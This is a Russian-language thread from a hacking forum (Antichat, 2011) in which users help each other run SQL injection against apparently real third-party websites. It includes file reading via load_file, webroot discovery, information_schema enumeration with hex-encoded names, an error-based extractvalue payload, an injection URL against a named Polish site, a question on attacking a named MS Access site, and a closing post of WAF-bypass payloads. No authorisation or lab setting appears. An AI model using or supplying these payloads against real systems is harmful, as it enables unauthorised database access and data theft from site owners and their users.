ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

20.09.2011, 13:11
|
|
Познающий
Регистрация: 17.04.2009
Сообщений: 59
Провел на форуме: 401944
Репутация:
37
|
|
Сообщение от er9j6@
er9j6@ said:
Я на 100% не уверен, если mq=on, залить шелл не удастся
Все правильно, с mq не зальешь шелл через скулю, но ты можешь читать файлы через load_file(HEX)
|
|
|

20.09.2011, 13:54
|
|
Guest
Сообщений: n/a
Провел на форуме: 124363
Репутация:
11
|
|
есть вопрос:
собственно найти путь на сайте,всё перепробовал сайт на Windows NT
знаю,что только mysql установлен в C:\Program Files\MySQL\MySQL Server 5.1\ и могу прочитать C:\Program Files\MySQL\MySQL Server 5.1\my.ini
как ещё можно узнать где лежит дира с самим сайтом?
|
|
|
|

20.09.2011, 14:07
|
|
Guest
Сообщений: n/a
Провел на форуме: 230
Репутация:
0
|
|
есть ли уязвимость в это коде (perl) :
if ( $section eq "view_file" ) {
check_user();
$file = $q->param('id');
my $statement = 'SELECT nid,filename, file FROM files WHERE id = ?';
$sth = $dbh->prepare($statement) or die print "Couldn't prepare statement: $DBI::errstr; stopped";
$sth->execute($file) or die print "Couldn't execute statement: $DBI::errstr; stopped";
while ( my $ref = $sth->fetchrow_hashref() ) { $nid = $ref->{'nid'}; $name = $ref->{'filename'}; $filename = $ref->{'file'}; }
$statemente = 'SELECT notes.call FROM notes WHERE id = ?';
$sth = $dbh->prepare($statemente) or die "Couldn't prepare statement: $DBI::errstr; stopped";
$sth->execute($nid) or die "Couldn't execute statement: $DBI::errstr; stopped";
while ( my $ref = $sth->fetchrow_hashref() ) {
$call = $ref->{'call'};
}
$statement = 'SELECT username FROM calls WHERE id = ?';
$sth = $dbh->prepare($statement) or die "Couldn't prepare statement: $DBI::errstr; stopped";
$sth->execute($call) or die "Couldn't execute statement: $DBI::errstr; stopped";
while ( my $ref = $sth->fetchrow_hashref() ) {
die_nice("Sorry you do not have access to this file") if $ref->{'username'} ne "$Cookies{'id'}";
}
print qq~Content-Disposition: attachment; filename="$name"\n~;
print "Content-Type: application/octet-stream\n\n";
if ( defined $file && $file ne "" ) {
open( LOCAL, ") {
print;
}
close(LOCAL);
}
}
все время открывается сам файл с ошибкой внутри в строке while () {
|
|
|
|

20.09.2011, 14:20
|
|
Guest
Сообщений: n/a
Провел на форуме: 129743
Репутация:
92
|
|
Сообщение от Faaax
Faaax said:
попробуй jos_users занести в кавычки или в hex переведи
Первым делом, так и сделал, но результат не оправдал ожидания. Вопрос остаётся актуальным!
|
|
|
|

20.09.2011, 14:32
|
|
Reservists Of Antichat - Level 6
Регистрация: 07.07.2009
Сообщений: 324
Провел на форуме: 1585404
Репутация:
564
|
|
Сообщение от Faaax
Faaax said:
есть вопрос:
собственно найти путь на сайте,всё перепробовал сайт на Windows NT
знаю,что только mysql установлен в C:\Program Files\MySQL\MySQL Server 5.1\ и могу прочитать C:\Program Files\MySQL\MySQL Server 5.1\my.ini
как ещё можно узнать где лежит дира с самим сайтом?
поищи php.ini (тут где то была тема с путями для брута)
__________________
Никогда не бойся делать то, что ты не умеешь. Помни, ковчег был построен любителем. "Титаник" - проффесионалами.
|
|
|

20.09.2011, 15:28
|
|
Guest
Сообщений: n/a
Провел на форуме: 407
Репутация:
0
|
|
Как определить название БД, к которым относятся найденные таблицы?
Т.е название таблицы есть (в моём случае user), но если в запросе указать просто "from user", то вываливается ошибка Table doesn't exist.
Запрос ' and extractvalue(rand(),concat(0x3a,version(),0x3a,dat abase()))-- 1 выводит неверное название БД.
MySQL 5.1.56, если что.
|
|
|
|

20.09.2011, 15:52
|
|
Guest
Сообщений: n/a
Провел на форуме: 195266
Репутация:
53
|
|
Сообщение от Systematis
Systematis said:
Как определить название БД, к которым относятся найденные таблицы?
Т.е название таблицы есть (в моём случае user), но если в запросе указать просто "from user", то вываливается ошибка Table doesn't exist.
Запрос ' and extractvalue(rand(),concat(0x3a,version(),0x3a,dat abase()))-- 1 выводит неверное название БД.
MySQL 5.1.56, если что.
select group_concat(table_schema) from information_schema.tables where table_name='user'
если magic_quotes=on(экранирование спец символов), то надо перевести user в hex и писать table_name=0x75736572 вместо table_name='user'
Через запятую вывалит названия баз не больше первых 1кб(т.е. если баз дофига, то group_concat может вернуть не все).
Или на примере верхних двух постов
|
|
|
|

21.09.2011, 16:02
|
|
Познающий
Регистрация: 18.10.2009
Сообщений: 80
Провел на форуме: 1180165
Репутация:
11
|
|
Подскажите, как крутить MS Access http://www.kzr.spb.ru/news-temp.asp?id=-1' ?
|
|
|

21.09.2011, 19:20
|
|
Guest
Сообщений: n/a
Провел на форуме: 4017
Репутация:
1
|
|
Друззя, снова я. Сразу к делу:
Код:
Code:
http://site.pl/humor.php?id=17%20and%201=0%00union select group_concat(@@version),2,3,4,5,6,7,8,9,0 --
Вот до чего приблизительно дошел, но проблема в том, что union блочится в какой-то момент, и нам по-польски предлагают пойти куда подальше. Как видите, null byte пробовал, ничего. Чем еще можно попробовать?
upd: То есть, если в адресе есть union или ";", редирект на отдельную страничку с угрозами скорой расправы.
|
|
|
|

21.09.2011, 20:38
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме: 5386281
Репутация:
1177
|
|
Сообщение от rad_scorp
rad_scorp said:
Друззя, снова я. Сразу к делу:
Код:
Code:
http://site.pl/humor.php?id=17%20and%201=0%00union select group_concat(@@version),2,3,4,5,6,7,8,9,0 --
Вот до чего приблизительно дошел, но проблема в том, что union блочится в какой-то момент, и нам по-польски предлагают пойти куда подальше. Как видите, null byte пробовал, ничего. Чем еще можно попробовать?
upd: То есть, если в адресе есть union или ";", редирект на отдельную страничку с угрозами скорой расправы.
Это WAF.
Узнай что именно попадает под WAF, UNION или же UNION SELECT или же что-то еще.
И пробуй обойти, способов много.
Погугли на тему WAF Bypass, так же от Ефтеева есть презентация с некоторыми способами обхода WAF.
Как варианты попробуй:
Сообщение от None
17+and+1=0+/*!union select*/ group_concat(@@version),2,3,4,5,6,7,8,9,0--+
Сообщение от None
17+and+1=0+/*!union*/ select group_concat(@@version),2,3,4,5,6,7,8,9,0--+
Сообщение от None
17+and+1=0%0aunion%0aselect%0agroup_concat(@@versi on),2,3,4,5,6,7,8,9,0--+
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|